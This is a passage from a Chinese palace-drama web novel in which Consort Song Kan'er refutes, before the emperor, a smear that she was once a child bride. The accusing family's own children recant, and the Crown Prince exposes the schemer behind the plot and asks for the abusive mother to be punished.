“童养媳在民间可是男方家正儿八经的儿媳妇,且按礼男女七岁不同席。
宋良娣既为人媳又与丈夫有过肌肤之亲,这般家世当是进不得宫才对。”
“退一万步说即便侥幸进了宫,也该被安排在浣衣局等杂役粗使之地。
谁知竟是被调去了东宫,还成了太子的枕边人,生下了太子的庶长子,不知皇后娘娘可否向妾身等说明?”
这话说的。
真就差直接说从槛儿进宫起始到如今,都是中宫一系暗中谋划的了。
为何?
自然是为了遮掩太子打小便不能人道的事实,故而提前多年即开始布局。
裴皇后没搭理她,看着陈月娥夫妻。
“你二人且往左手边第一个位置抬头,看看宋良娣是否为尔等口中之人。”
陈月娥哆哆嗦嗦抬起头。
入眼一片衣着光鲜亮丽的贵妇人,她眼睛花了花,最后看到第一个位置。
她猛地一怔,“槛儿……真是槛儿!错不了,贵人娘娘,她就是槛儿!”
说着话,陈月娥也是不敢相信站在那的人就是她认得的那个宋槛儿。
那个穿得破破烂烂,成日里因着干活被染得一身灰头土脸的丫头片子。
竟出落成了这么一副模样。
打扮得这么艳光四射!
如果不是她前些年做梦都记得她的眉眼,没准儿还真认不出来了!
魏嫔勾起红唇。
“宋良娣,按规矩这位该是你婆婆才对,好歹也养过你两年,好不容易婆媳重逢你就不唤一声‘娘’?”
让一个生育了太子长子的皇家侧妃称一外来民妇为婆婆,摆明了是要把槛儿和裴皇后一并羞辱了。
众人噤若寒蝉。
“魏嫔娘娘慎言。”
槛儿眼角余光朝太子那边瞄了一眼,遂做了个深呼吸,肃容对魏嫔道。
“按本朝户律婚姻条例所定,婚姻需遵循父母之命,媒妁之言,并订立婚书。
童养媳无独立条例,但也属特殊婚姻形式,需双方自愿订立明确契约。”
“若无契约证明,仅以金钱口头交换,则将被视为触犯大靖律略人略卖人条例,涉事者将承担相应刑罚。
这位陈夫人一无婚契,二无中间作保人证,按律可不是妾身的婆婆。”
“魏嫔娘娘身为皇家人,岂会连最基本的律法都不懂?”
第225章 槛儿vs董家人,太子vs魏嫔!董茂生?!
槛儿的言辞并不激烈,甚至称得上恭敬,声音语气也很是温婉柔和。
可她说的话却让一众以为她会被这阵仗吓得不知所措的人惊诧不已。
不仅仅为她是宫婢出身,却能对这种场面应对自如,更因她张口就能背出本朝律令,还这么一针见血!
一些等着看槛儿笑话的人表情变了,男人那边看太子的眼神也变了。
猜测难不成是太子教的?
魏嫔也是没料到槛儿一上来就上升到律法层面,还这般当众质问她。
魏嫔的脸瞬间黑成锅底。
不过槛儿可没管她的脸色。
问完也没等魏嫔开口,她转向帝后。
“陛下,娘娘,诚如董家夫妇所言,妾身确为元隆十一年五月被他家买去做其子董茂生之童养媳。
但关于陈氏所言,妾身有言要驳,望陛下、娘娘容禀。”
元隆帝颔首。
裴皇后:“但说无妨。”
槛儿行大礼谢了恩。
随后不卑不亢,字正腔圆道:“妾身被董家买入有一点需澄清。
妾身当时刚六岁,并非自愿被卖于董家,而是被妾身之舅舅、舅母下药迷晕,醒来后妾身人便已在董家。
这一点,当年董家附近邻里皆可为证。
故而按本朝婚律、刑律,妾身与董家的这桩婚约本该为无效婚约。”
“其次妾身初进董家时年方六岁,彼时董茂生智如三岁幼童,生活无法自理,如厕沐浴需妾身从旁辅助。
但妾身耗时一年,教会董茂生自行如厕、沐浴,董家妇陈月娥曾以此为傲,于周边邻里四处自满炫耀。
这一点,当年鸭嘴屯的人也可为证。”
“且元隆十三年采选宫人的管事曾实地调查,内务府应也有相关记载。”
骆峋适时起身。
“照此,宋氏则既不曾为人媳,亦不曾在礼法之外与人肌肤相亲。
按规矩便当得入宫与寻常宫人相同待遇。
儿臣恳请父皇召当年实地调查宋氏家世,及采选宋氏入宫之人上殿问话。”
不待元隆帝应声,魏嫔先开了口。
“谁知道这些人有没有被谁收买,他们的证词显然是不可取的。”
骆峋看过去,神情极为寡淡。
“孤在与父皇说话,召与不召父皇自有论断,魏嫔何时能做父皇的主了?”
魏嫔反唇相讥。
“婢妾实话实说,太子殿下倒也不必这般过激,给婢妾扣这么大一顶帽子。”
骆峋:“孤亦实话实说,魏嫔也不必给孤扣帽,引导旁人以为孤居心叵测。”
别看太子平时除了谈正事话会多些外,其余多数时候都惜字如金。
然逢上这种别人故意针对他的时候,他从来不会来清者自清浊者自浊那一套,都是有话直接当面说。
这一点大抵像了裴皇后。
魏嫔果然被噎得不轻。
但她又不想在这么多人的跟前失了体面,故作大方道:“那您请便。”
“不必提醒,孤会自便。”
太子爷面无表情地接了一句。
差点又有人没忍住笑出来。
魏嫔攥紧手帕抚着心口,不停地在心里暗示自己别着了这崽子的道。
槛儿压着嘴角朝对面看了一眼,太子也正好看过来,两道视线短暂交汇。
再默默分开。
元隆帝假装没看到他俩的眉眼官司,风轻云淡道:“就依太子所言。”
全仕财立马安排小太监去叫人。
等人来的期间,槛儿重新面向帝后。
“陛下,娘娘,关于陈月娥称其子夜里睡觉要抱着妾身,以及妾身六七岁便知行勾引之事纯属子虚乌有。
皆因妾身自打入了董家,陈月娥对妾身非打即骂,干完活不给饭吃是常事,夜里也不允妾身进屋安置。
而是将妾身赶至猪圈,妾身不曾与其子董茂生同榻而眠,自然不存在董茂生必抱着妾身才肯入睡一说。
此事当时在鸭嘴屯也不是秘密,妾身不畏流言,愿等陛下着人调查作证。”
“只妾身有一问想询问陈氏,恳请陛下特允他夫妻二人抬头回话。”
元隆帝:“可。”
槛儿便转向陈月娥夫妻“陛下准你二人抬头回话,现在你们抬头看着我。”
陈月娥记得让他们作证的那人说过,说是当天现场有很多达官贵人。
可能皇帝老爷和皇后娘娘都要问他们话。
让他们不要紧张。
然而不紧张是不可能的。
哪怕陈月娥平时胆子再大,为人再横。
就刚刚这么一会儿的功夫,她也明显感觉到这些个贵人打机锋跟他们乡下的婆娘汉子吵架完全不一样。
尤其方才一个眨眼的功夫,那个叫什么贵人的人就被废为庶人了。
庶人不就是平头老百姓?
只是笑了一下就从贵人变成了平头老百姓。
陈月娥刚刚说得言辞激烈的时候还没啥感觉,现在听了会儿贵人们的你来我往,她便忍不住怕了起来。
且见槛儿不仅没被她刚刚的那番话给震慑住,反倒说了这么多谁谁可以作证。
陈月娥的心就更虚了。
此时听槛儿让他们抬头,陈月娥下意识一个哆嗦,可转念想宋槛儿那死丫头凭啥对他们发号施令?
她当自己是谁啊?
一个没爹没娘,被舅舅舅母卖给他们家的贱丫头,倒跟他们耍起威风来了!
陈月娥一口气上来。
竟是忘了皇帝派人去请什么人来作证的事了,猛地抬头瞪向槛儿。
“你想问啥!你再问我都是那些话!小小年纪不学好的狐媚子,勾引……”
“掌嘴。”
清冷的男声不大不小地响起。
陈月娥怔了怔。
却是没等她往声音传来的方向看,面前就悄无声息地多了个小太监。
啪啪几声脆响。
陈月娥只觉脸上一阵火辣辣的,都没来得及反应人就倒在了地上。
“月娥,月娥……”
董大力一张黑脸都快吓成白脸了,颤着手想去拉陈月娥,又怕得没敢动。
最后把脑袋在地上磕得砰砰响:“皇帝老爷饶命!皇帝老爷饶命!”
魏嫔:“此二人是能证明宋良娣清白与否的重要证人,太子这般让人刑罚,莫不是想堵住此二人的嘴?”
骆峋冷冷淡淡瞥她一眼,“魏嫔喜被人辱骂,孤不喜,孤的人亦不喜。”
魏嫔以前没怎么跟太子对上,也是那时候没撕破脸,双方都做着面子功夫。
如今省了这些虚套,魏嫔才算是领教了太子的嘴有多毒,她险些被气笑。
骆峋懒得与她打嘴仗,睨着陈月娥。
“能好好说话了?”
陈月娥活了一辈子还是头一回被人这么扇巴掌,疼得她脸皮子都在抽搐。
她哪里知道这扇巴掌在宫里其实是一种最基本的惩罚呢,不论宫女太监,掌起嘴来那都是极具有技巧的。
怎么打,才能既不显得失仪又能实实在在让人吃教训,都是有讲究的。
而徒手扇耳光只不过是掌掴一刑之中最常见,也最简单的一种的方式。
“能,能!大老爷饶命,大老爷饶命!”董大力连连代陈月娥答道。
陈月娥欺软怕硬,捂着脸吞下嘴里的血沫子红着眼眶点头如捣蒜。
槛儿问
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:“你说我跟一个货郎跑了,那我现在问你,那货郎姓甚名谁?
多大年纪,生的什么模样,又是哪里人士,他既在鸭嘴屯歇脚,那么这些事你应该清楚,你便如实招来。”
这些陈月娥老早就跟家里人对好词了,闻言眼珠子一转,张口就来。
“那人叫马石根,当时才十六七岁,据说是扬州那边的,长得眉清目秀的。”
“你呢?你也记得这么个人?”
槛儿问董大力。
董大力倒没因着槛儿之前给他们家做过童养媳就低看现在的她。
相反瞧着那一身绫罗绸缎,好看得不像话,又通身气派威风的小妇人,董大力感觉一块巨石压在他头顶。
他撑在地上的胳膊不禁发起抖来。
却是始终记得自家老婆子的话,咬牙道:“是、是这么个人……”
“你们记性还挺好。”
槛儿不明意味地轻笑道。
董大力把头低下去。
陈月娥捂着脸恨恨地偷偷瞪槛儿。
然后不待她暗想什么,就听刚刚让人掌她嘴的声音说:“劳请父皇准许他二人之子女进殿回话。”
元隆帝准了。
董茂生、秋穗娘和董娇杏被带进殿。
董茂生不懂皇帝老爷皇后娘娘什么的有多威风,只看这个大屋子里这么多男男女女,他便面露瑟缩之态。
扯着秋穗娘的袖子直往她身后躲。
秋穗娘缩着肩低着头,也顾不得把他扒拉开,全程一眼都不敢乱看。
董娇杏跟她差不多。
三人跪下,魏嫔先问:“董茂生,你可认得她?”
她抬手指了指槛儿。
董茂生朝喊他名字的人看了看,又看向对方指的人,怔了怔才道:“槛儿……”
魏嫔勾起唇角。
“分开了近十年还能记得名儿,能一眼认出来,看来也不是那么傻嘛。”
嗤笑了声,她继续问:“董茂生,你娘说你吃喝拉撒都离不得槛儿。
晚上睡觉都要抱着,槛儿还曾当着你的面脱过衣裳,你说有没有这回事?”
按说董茂生能把秋穗娘喊成槛儿,又在槛儿遮着面纱时也能把人认出来。
此时见到**该更为热络才对。
可此时此刻董茂生除了瞅着槛儿,表情憨憨愣愣的外便没别的反应。
魏嫔又纡尊降贵地问了一遍。
他才动了动嘴皮子。
“槛儿、槛儿教我去茅房,教我洗白白,槛儿没脱衣裳,槛儿没脱衣裳!”
说着,他突然急了起来。
抓着头使劲挠。
“槛儿没脱衣裳!没跟我睡!槛儿住猪圈,娘不让槛儿进屋,槛儿住猪圈……”
其实从魏嫔说她寻到了相关人证时,众人便知道东宫流言跟她有关了。
即便不是主谋,她也是从犯。
所以她问董茂生时,不少人都以为魏嫔许是在这傻子身上下了功夫。
毕竟傻子可好哄得很。
别人教他什么就是什么。
而傻子的话从司法上说不能当证词用,但从伦理世故上来说却是具备参考性的。
尤其这种涉及男女关系的事。
因此大伙儿见魏嫔这般胸有成竹,想当然便以为宋良娣怕是要栽了。
谁知这傻子居然唱了反调?!
别说信王妃信王等人没料到,便是陈月娥和董大力当爹娘的都没料到。
陈月娥冷汗瞬间就下来了。
情急之下她一把抓住董茂生的胳膊,急道:“臭小子你胡咧咧啥!
老娘啥时候让她住猪圈了?啥时候不让她进屋了!她就是当你面脱衣裳了,老娘亲眼看到的还能有假!”
第226章 全都反水!惊不惊喜,意不意外?!
陈月娥简直要吐血。
明明教得好好的,前儿个还问啥都能照着她教的答,咋关键时候掉链子了!
那人可是说了,搞砸了事不但没银子拿,甚至可能脑袋都会不保啊!
这傻小子!
董大力在一旁干着急。
“儿啊,你可不能害你爹娘啊……”
董茂生哪懂那么多呢。
他只知道脑海里似是有道声音告诉他,一定要说实话,要说实话。
不能跟她娘骗人,要不然槛儿就要**。
董茂生知道啥是死,他爷爷就**,发了工钱就会给他买糖的爷爷**。
他再也见不到爷爷了。
董茂生不想槛儿死,爷爷也说了骗人的小孩不好,要被老天爷打雷劈的。
董茂生也怕被雷劈。
所以他要说实话,他不能跟着他娘骗人。
“就是住猪圈!槛儿就是住的猪圈!不给她饭吃,槛儿就吃鸡粮、吃生的!我都看到了!槛儿没脱衣裳!”
董茂生扒拉他娘,急得脸红脖子粗的。
紧接着还说了槛儿在他们家平时干了哪些活,又被他娘怎么打骂。
反正能说的都说了。
他是傻子,说话措辞比不得常人。
可越是这般直白简朴的稚童之语,在外人听来也越具有说服力。
于是除去个别,其他人看槛儿的眼神大多变得同情起来,有些心肠软的。
诸如荣王妃、慎王妃和宣王妃等,俱是红了眼。
瑜姐儿在小孩席上抹眼泪,又跑去摇车看曜哥儿,想把他抱起来。
“弟弟,小六婶婶好可怜……”
然而弟弟太胖,瑜姐儿抱不动。
发生望晴那件事的时候曜哥儿就知道他娘苦了,没想到还有更苦的。
虽说民间不少家里六七岁的小姑娘都能干很多活儿了,可寻常百姓家里好歹干了活儿不用挨打挨骂啊。
更别说饭都吃不饱,跟鸡吃一样的粮。
还只能睡猪圈。
如果曜哥儿记得没错,猪好像是**的。
一想到他娘小小一个跟猪睡一起,可能一不小心就有被猪吃掉的风险。
曜哥儿的眼泪啊。
那叫一个哗啦啦,奶娘擦都擦不尽。
韶宁郡主刚开始还想看槛儿的好戏来着,谁叫这人屡次害她被罚呢。
可听到这儿,韶宁郡主也是心绪复杂,暗道要不以后不跟宋槛儿计较了吧。
怪可怜的。
诚然,他们的想法槛儿不知道。
尽管她的身体还记得在董家的日子,但她本身到底是从上辈子回来的。
时隔几十年,她真生不出什么感想。
所以她除了眼眶有些红外,神色倒是淡然,可也正因如此在众人看来才觉这位宋良娣是个经得住事的。
裴皇后看看儿子。
只见他眼帘微垂,神色喜怒难辨。
魏嫔早在董茂生跟陈月娥唱了反调时,就气得险些一口气没上得来。
此时再一看殿中之人的反应,一把火烧得她的太阳穴突突直跳。
这叫什么?
她是要让那傻子坐实姓宋的早没了贞洁,不是让他来替那小贱婢诉苦的!
赵盛那狗奴才怎么办事的!
稳住心绪,魏嫔刚准备说傻子的话不可信,立在太子身侧的海顺先一步开了口。
“秋穗娘,你是哪年哪月入的董家?”
秋穗娘整个人几乎趴伏在地,颤着声音道:“回、回贵人的话,民妇是元隆十三年三月底入的董家。”
海顺:“当时董茂生病情如何?生活可能自理?可是需得你贴身照看?”
陈月娥自以为隐蔽地偷偷往后扭头,有意警告秋穗娘别坏她的事。
可惜秋穗娘瑟缩着身子根本没往她这边看,陈月娥就想出声来着。
然而才动了动嘴,余光里就出现了一双靴子,是刚刚扇她巴掌的太监的脚。
陈月娥僵住身子,不敢乱动。
秋穗娘并不知道陈月娥的动作,她想离开董家,摆脱给人当童养媳的日子。
可惜她太胆小了。
她怕陈月娥打她,怕她薅着她的头发把她的头往墙上撞,太痛了,她怕。
于是她就这么日复一日,年复一年地在董家生根,她以为自己这一辈子就这样了,她甚至快要放弃了。
可就在三天前的晚上。
有人告诉她,她和董家的婚事可以不作数。
她可以离开。
可以不用跟傻子圆房,不用生孩子。
董茂生待她是好的。
秋穗娘扪心自问,偶尔她也会感动。
甚至曾不止一次想,若不就和他过下去吧,然而每当那一时的冲动褪去。
秋穗娘还是没办法接受。
她感动,可她对董茂生没有男女情分。
她怕自己将来会彻底忍受不了这个傻汉子,到时候他们俩都痛苦。
所以,她还是要离开的。
宋槛儿是太子的姨娘,太子是皇帝的儿子。
秋穗娘
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自认没有宋槛儿勇敢,做不到像她那样周旋于这样的大宅门里。
可她也想为了自己,为了自己胆大一回,为了将来,不怕陈月娥一回。
“回贵人。”
秋穗娘闭着眼,颤颤巍巍道。
“民妇到董家时,茂生很多事都能自己做,譬如吃饭、去茅房、洗澡,他偶尔还会帮民妇洗衣裳。”
“你个小娘皮!”陈月娥赤红着眼珠子,转身就朝秋穗娘扑过来。
儿子的变故本来就够她糟心的了,结果这小娘皮也不按她交代的说!
陈月娥恨不得当场撕烂她的嘴!
然旁边的太监一个大耳刮子扇下来,陈月娥当即滚倒在地,耳边嗡嗡的。
“再敢御前失仪,即刻拖出去杖毙!”全仕财站在元隆帝身侧,扬声道。
立马进来四个身强力壮的太监候在董家几人身后。
董大力要去拉陈月娥的手一抖,赶忙把自己缩成一团,董娇杏差不多的姿势。
董茂生抱着秋穗娘的胳膊紧挨着她,陈月娥到嘴边的呻吟卡在喉咙里。
“董娇杏。”
海顺唤道。
“宋主子到你们家时,你年方几何?”
董娇杏知道宋主子指的是宋槛儿,吞了口唾沫道:“回贵人的话,宋主子到咱们家时,民妇十岁。”
海顺:“你娘称曾有个叫马石根的货郎在你们村暂住,你可知此事?”
“民妇、民妇……”
“知道就是知道,不知道就是不知道,不要吞吞吐吐!”海顺道。
董娇杏暗暗咬牙。
“回大人的话,民妇不知此人。”
陈月娥瞳孔一缩!
海顺:“据你娘陈氏所言,当年你们从土匪手中出逃时宋主子曾与名叫马石根的货郎私奔,可有此事?”
董娇杏双臂打着摆子,锃亮的金砖地面上倒映着她冷汗与眼泪遍布的脸。
“回大人……”
“没有此事。”
“宋主子当年没有跟什么货郎跑,我们村里也没来过马石根这么个人。”
“宋主子……当时是被我娘、不对,是被我们一家子给撇下的……”
“因为、因为我哥听宋主子的话,宋主子教我哥洗脸洗脚、如厕洗澡。
我哥都听,我娘不高兴我哥听宋主子的不听她的,我娘觉得宋主子不安分,觉得她小小年纪就勾引男人。”
“所以土匪来的那天,我们没有带宋主子一起逃命,她被留在了鸭嘴屯……”
第227章 (合章)太子为槛儿请旨,陈月娥夫妇,斩!
娘给她哥买了个童养媳回来,对于这件事董娇杏当时是没啥想法的。
没觉得她娘看重她哥,就心里不平衡。
也没因着那丫头年纪小小就做了他们家的童养媳而生出啥同情心。
因为在董娇杏的认知里,男娃是家里的主劳力,就是要比女娃更重要。
哪怕她哥脑子有问题,那也是男娃。
因为丫头片子是赔钱货,他们村又不是没有小丫头被自家爹娘卖出去。
她能被养在家里,已经是遇见好爹娘了,要感谢老天爷让她碰上这么好的爹娘。
这是她娘经常跟她说的话。
董娇杏从小听到大,习惯了。
也就这么以为了。
所以看到那个白净乖巧的小丫头被她娘带回来给她哥做童养媳。
被她娘又打又骂,饭桌都没资格上,每到吃饭时只能蹲在墙角啃剩窝头。
要给她哥端屎倒尿。
要打猪草、放牛放鸭、要洗一大家子的衣裳、要把屋前屋后扫得干干净净。
要这样要那样。
日里起得比鸡早睡得比狗晚,原本白嫩胖乎的小脸成了二指宽的干瘪头。
当董娇杏看到这些时,她无动于衷。
亦或者说,她其实挺高兴家里有这么个小丫头的,这样她就不用干活了。
她还能把自己的衣裳鞋子扔给那丫头洗,还能指挥那丫头给她当小奴婢。
自打那丫头来了,她就养得越来越白,村子里的其他姑娘可羡慕她了。
董娇杏就想这丫头能给他们家做一辈子奴婢,那样她就跟县太爷家的千金那样十指不沾阳春水了。
能过一把富家小姐的瘾了。
她娘要把宋槛儿撇下时,董娇杏觉得挺可惜的,以后没人可以使唤了。
可也仅此而已。
她没觉得那丫头可怜。
也没想过一个八岁生辰都还没过的小丫头,一个人能不能活下来。
该怎么从村子里逃出来。
今后又会遭遇什么。
这些董娇杏统统没想过。
性命攸关之际,她自己都是泥菩萨过江。
哪有心思精力管别人。
她爷奶也觉得挺可惜的。
虽说宋槛儿来了他们家后瘦成了麻杆儿,可到底底子在那儿摆着。
那身皮子怎么也晒不黑,眼睛水水亮亮的,可比村里的丫头片子好看多了。
长大了还不知道多美呢。
他们的傻孙子能娶这么个姑娘做媳妇儿,他们走出去脸上也有光。
可没办法,逃命要紧。
她娘一直把“不安分”、“小**”、“狐媚子”啥的挂在嘴边。
她奶不免也就担心宋槛儿长大了守不住偷人,让他们给别人养野种。
因此爷奶也就没管宋槛儿了。
她哥倒是吵着要带那丫头走,但被她娘和她三言两语给哄住了。
他们逃出了鸭嘴屯,一路北上。
中途有人又送给了他们家一个童养媳,于是有没有宋槛儿好像都差不多。
只除了她哥嘴里时不时就冒出“槛儿”这个名字,让董娇杏会想起这么个人,日子与从前没啥两样。
再后来她嫁人了。
嫁给了自己看上的一个货郎。
董娇杏很幸运,嫁的这一家公婆和男人都对她很好,小姑子人也好。
小姑子是她公婆从城外捡回来的,人模样不错,就是手脚带点儿残疾。
董娇杏私下里问过男人,问他们家都有三个儿子了,做啥还捡回个丫头片子。
她男人说,挺可怜的。
反正就是多双筷子多个碗的事。
救人一命胜造七级浮屠嘛。
她男人纠正她的思想。
说他们娘从小便跟他们说,男人是阳女人是阴,阴阳合一才是完整的。
这世上男人女人少了哪一个都生不出娃来,男人也是女人生出来的。
而且她自己就是姑娘,怎么能看重男娃不看重女娃呢,那不倒反天理伦常?
又说她今后若苛待他们的女儿,他们娘第一个不饶她,他也不会帮她。
彼时董娇杏活了十七年,头一回听到这样的说法,她人当场就懵了。
想反驳男人的话。
想说丫头片子就是赔钱货。
可想到自己小时候被她娘打骂的日子,董娇杏最终竟什么也没说出来。
之后她真生了个女儿。
公婆给了她一个红包,明明家里也不是很富裕,红包里却搁了二两银子。
而她娘呢。
说她没用,连个儿子都生不出来。
两个鸡蛋外加一通数落。
这就是她娘给她的,董娇杏到那时候似乎才明白自己错在什么地方。
也是从那时候开始,她偶尔看着小姑子,会想起被他们抛下的宋槛儿。
明明她吃的比鸡多不了多少,明明她比自己小四岁,明明是个苦命人。
可惜一切都晚了。
董娇杏曾不止一次想,那丫头许是被土匪**了,也或是被土匪掳了去。
指不定日子过得有多苦。
直到今年三月,她娘叫她回去商量事。
董娇杏才知道宋槛儿没有死,且人就在京城,在大户人家过上了好日子。
她也说不上来啥感觉,反正没有羡慕嫉妒,就是莫名松了口气。
可她没想到她娘收了人家的银子,答应要搞那丫头和那丫头生的孩子。
董娇杏一言难尽,宋槛儿又没欠他们家,干啥要阴魂不散地对付人家?
董娇杏这些年也长了不少见识,知道大户人家的姨娘不是那么好当的。
宋槛儿能得宠,想来也是吃了不少苦。
真要让她娘搞了破坏,那丫头还有活路吗,那丫头的孩子还有活路吗?
董娇杏不想参与这件事。
她娘却说不行。
说家里已经收了大老爷的银子,答应人家了,她要敢跟家里唱反调。
他们一家子就只有一死。
董娇杏哪狠得下来心看家里人**,只好答应她娘一起站出来作证。
可她又控制不住对宋槛儿的愧疚,尤其每次看到小姑子和女儿的时候。
她会想到宋槛儿,想到对方的儿子。
所以这几个月董娇杏一直处在焦躁不安之中,直到前天晚上她男人卖货回来跟她说了外面的传言。
董娇杏才知宋槛儿是太子的姨娘,他们家要对付的是太子和太子的儿子!
这事可太大了。
一个弄不好是要被诛九族的啊!
董娇杏太害怕了。
当即把事情跟她家男人说了,她男人听了吓得当场从凳子上摔了下来。
他是土生土长的京城人,比她家更了解京城这些达官贵人们的一些事。
他们虽没见过太子,却是早知道太子的贤名。
太子很小的时候就启发了皇帝实施新政,京中很多底层百姓的福利也是太子还没长成的时候就促成的。
京城的百姓不少拥护太子的,然而董家居然要帮着别人对付太子!
她男人吓到了也气到了。
事情太大,他也没敢瞒着。
跌跌撞撞跑去找了公婆。
董娇杏跟男人成亲这么几年,她公婆头一回对她发那么大的火。
跟着跟她说了很多关于太子的事,简直是把能讲的道理掰碎了喂给她。
也让董娇杏更深刻地认识到了事情的严重性,而就在这时有人找上了门。
董娇杏颤抖的声音落下,殿中诡异地静默了一瞬后陈月娥陡然暴起。
“臭**!臭婆娘!”
“谁叫你这么说的!谁告诉你这么说的!你这是连你爹娘的死活都不管了啊!
“你说!是谁!是谁叫你这么说的!”
“是谁——”
儿子不按她事先教的说也就罢,跟着秋穗娘那小娘皮说的也不一样,现在连女儿也从背后捅了她一刀!
陈月娥已经不是气了。
是要疯了!
她也确实是疯了,当着这么多达官贵人的面,刚刚还怕被扇耳光被杖毙。
这会儿竟是连这些都顾不得了,猛地暴起就狠狠朝董娇杏扑去。
被两个太监按到地上后她也没停止挣扎喷骂,一张老脸涨得青紫,额头跟脖子上的青筋一条条凸了起来。
董娇杏被她娘这副人不人鬼不鬼的样子给吓到了,同时也更悲凉更心寒。
臭**,臭婆娘。
谁家好人家的娘会这么骂女儿啊?然而这样的辱骂她从小听到大。
魏嫔真是忍不住在心里骂娘了。
这**都什么跟什么!
为什么跟她交代的不一样?为什么事情发展跟赵盛递来的消息不一样!
傻子这一家子不该是一个说法,不该是齐齐坐实那小贱婢的污名吗?!
怎么会各说各的!
赵盛那**干什么吃的!
魏嫔急得后背被冷汗浸湿,当即想扬声指出此女定是被人收买了。
却是刚张嘴。
便见董娇杏忽地抬头,泪流满面地嘶喊道:“究竟谁不顾谁的死活?是我吗?!”
“不是!”
“是你!是你被几两银子迷花了眼,是你答应人家要出来作证,作**!
也是你见不得宋槛儿好,觉得她克了咱们家!欠了咱们家!觉得她现在的好日子是拿咱家的运道换的!”
“所以你拿了人家银子,哪怕知道槛儿是太子的姨娘你也要出来说假话!还教我们跟你说一样的!”
“可那是太子啊,槛儿的儿子就是太子的儿子,是皇帝老爷的孙子啊!你怎么敢的,你怎么敢的?!”
“说我不管你们的死活,可你管我们的死活了吗?管我男人我女儿的死活了吗?!你谁的死活都没管!”
“你自己蠢别带上我们一家子!”
一番话,是董娇杏按男人和当天找上她的那人说的用来撇清关系的。
也是把多年的郁气给发泄了出来。
按规矩,这样当着皇帝的面大喊大叫是极为失仪的,少说也得挨通板子。
但念及董娇杏等人是来作证的,且元隆帝自己都没觉得有什么,殿中之人也就没有在意这么多了。
只唏嘘这种时候竟能看到这么一出戏,同时也从此女的话中得知了一件事。
原来那夫妻二人是收了人好处才有方才那一说,其女知道事情的严重性才没敢跟他们一起作伪证。
但也不排除此女在说谎的嫌疑。
便有一位老郡王出声道:“董大力,令爱……你家姑娘说的可是实话?圣上面前休得再胡言乱语!”
董大力本就是憨实胆小的性子,早在陈月娥被掌嘴时就吓得不轻了。
又听儿子、儿媳跟女儿都没按原先定好的说,更是骇得不知所以然。
这会儿听有人叫了他的名字,他连看都没敢看是谁在说话就不住地磕着头道:“老爷饶命老爷饶命!
是老婆子收了人家的银子,让我……让小的们跟着她说啥就是啥!
小的不敢乱说,银子就藏在家里。
凭小的的本事挣不到那么多银子,那都是人家给的,小的不敢扯谎!”
陈月娥这下子是真疯了。
被人堵了嘴按着手脚也拼了命地想去抓董大力,脖子上的血管几欲裂开。
贤老郡王继续问董大力:“给你们银子那人是男是女?可有说什么来头?你可记得对方样貌?”
董大力:“是男的……男的,四十出头的样子,他没说、没说自己啥来头,只说自己是哪个贵人派来的……”
跟
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着他把那男人的样貌囫囵描述了一番。
等他说完,贤老郡王对元隆帝道:
“陛下,臣以为当即刻着人前往董家搜查,看是否有此人所说之银两,另需张贴告示捉拿其所述之人。”
其他人点头附和。
元隆帝看向六儿子:“太子以为如何?”
骆峋收回放在董大力身上的视线。
“回父皇,流言传出当日儿臣曾于宋氏处得知董家情况,命人探查了董家众人近期与人往来要况。
昨日有人来报发现一可疑人员与此人所述相差无几,请父皇允其进殿。”
董家人前脚把人供出来,后脚太子就找到了这么一个人,若说是巧合才怪了。
可董家人是魏嫔找来的,若说是太子自导自演的,那又决计不可能。
所以只能是魏嫔想借董家人污蔑宋良娣清誉,却被太子破了局而不自知。
亦或者是。
太子可能就等着魏嫔跳出来。
太子的话说完,在场之人除了不知事的皇孙们其他人无不是这么想。
魏嫔双目圆睁,胸口剧烈起伏,能感觉到投在她身上的视线俱是一言难尽。
她却是顾不得那么多。
脑中只一个念头,赵盛被抓了?
什么时候的事!
为了不让人逮着尾巴,几天前她就没再让赵盛往宫里递消息,她也没找他。
他竟是这就被抓了?!
很快,魏嫔就知道怎么回事了。
赵盛被带了上来。
他二十七当晚被太子的人抓了便在典玺局受过审了,前天太子向元隆帝禀明实情后他又被下了诏狱。
此时赵盛一身白色中衣看似干净整洁,头发也梳得一丝不苟。
然其嘴角的淤青红肿与整个精神面貌,皆显示着他此前已然经受过什么。
等赵盛一跪下,全仕财就让董大力指认。
董大力如鸡啄米地点头,“是他!就是他!穗娘跟茂生领回来的就是这人!”
全仕财又问秋穗娘和董茂生。
前者的反应与董大力相似,后者则问大叔是不是又来给他们家送银子了。
也正应了早先大伙儿想的。
傻子的话在司法上不能当证词用,但从伦理世故上来说却是具备参考性的。
若不是那人往董家去了不止一次,董茂生一个痴儿哪能说出这样的话呢。
赵盛也没含糊。
董家人指认了他,他便把之前在元隆帝跟前说的话当众说了一遍。
总归就是宋良娣给傻子做过童养媳的事,是魏嫔让他传出去的。
从他调查槛儿做了哪些事,怎么找到的董家,找到后又与魏嫔有过怎样的联络,收到了怎样的命令。
等等细枝末节,赵盛说得清清楚楚,最后还供出了他把证据藏在了哪。
像他这种有家室的线人,自是要留后路。
因此之前魏嫔叫人给赵盛递的条子,他销毁了一部分,藏了一部分。
除此之外还有他是魏家线人的证据。
赵盛也一一招了。
而这些证据,太子也早在他第一次招供时便叫人拿到手了,此时只需摆出来。
于是,北镇抚司指挥使秦维翰与内府总管伍英被相继宣来对物证进行比对。
与此同时,不久前去找当年采选槛儿入宫之人的小太监也回来了。
槛儿的身世调查记录被当廷宣读,其内容与槛儿之前说的鸭嘴屯的人能作证的很多事情都对上了。
而等他们这边说完,那边物证也对比出来了。
结果表明赵盛藏的那些条子有的出自魏嫔之手,有的出自魏嫔身边的两个大宫女砚书、砚棋之手。
至此,宋良娣曾给傻子做过童养媳,并将其人从头到脚看过精光的流言乃魏嫔一手策划确证无疑。
宋良娣与董茂生有过礼法之外的亲密之举,也因秋穗娘、董娇杏之证词及内务府记录得以澄清。
“父皇。”
骆峋来到殿中,恭声道。
“以鸭嘴屯村民当年所述及宋氏所言,其非自愿被卖入董家为媳,且无书面契约,无口头契约担保人证。
故按本朝婚律,宋氏与董茂生之婚约不成立。”
“而据本朝刑律略人略卖人条,凡知系略卖之人而故买者,与犯人同罪至死减一等,当杖九十、徒二年半。
以董大力夫妇之子女所述,宋氏自入董家,陈氏便对其时常虐打、饥饿。
此乃触犯刑律,当以非即时致死之**罪论,主犯陈氏按律当处斩刑,从犯董大力当追加杖刑八十。”
“儿臣恭请父皇还儿臣妾宋氏之清誉,还被略之良人宋氏公道。”
太子的声音不大,听在众人耳中却很是掷地有声。
本以为东宫弄清这件事的真相,平息流言便算作罢。
